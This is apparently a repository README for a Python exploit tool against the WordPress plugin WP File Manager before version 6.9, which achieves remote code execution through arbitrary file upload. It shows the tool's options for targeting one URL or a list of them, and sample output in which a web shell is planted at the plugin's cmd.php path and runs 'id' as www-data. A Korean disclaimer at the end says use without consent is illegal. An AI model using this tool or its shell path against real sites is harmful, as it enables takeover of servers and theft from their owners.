randomrobbiebf/wp-file-managerwp-file-manager RCE
WP File Manager < 6.9 - 임의 파일 업로드로 인한 RCE
usage: wp-file-manager.py [-h] [-u URL] [-f FILE]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL of host to check will need http or https
-f FILE, --file FILE File of URLS to check
[+] Testing https://localhost [+]
[*]Shell Uploaded https://localhost/wp-content/plugins/wp-file-manager/lib/files/cmd.php?cmd=id[*]
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 적용 가능한 모든 지역, 주, 연방 법률을 준수할 책임은 최종 사용자에게 있습니다. 개발자는 이 프로그램으로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않으며 책임지지 않습니다.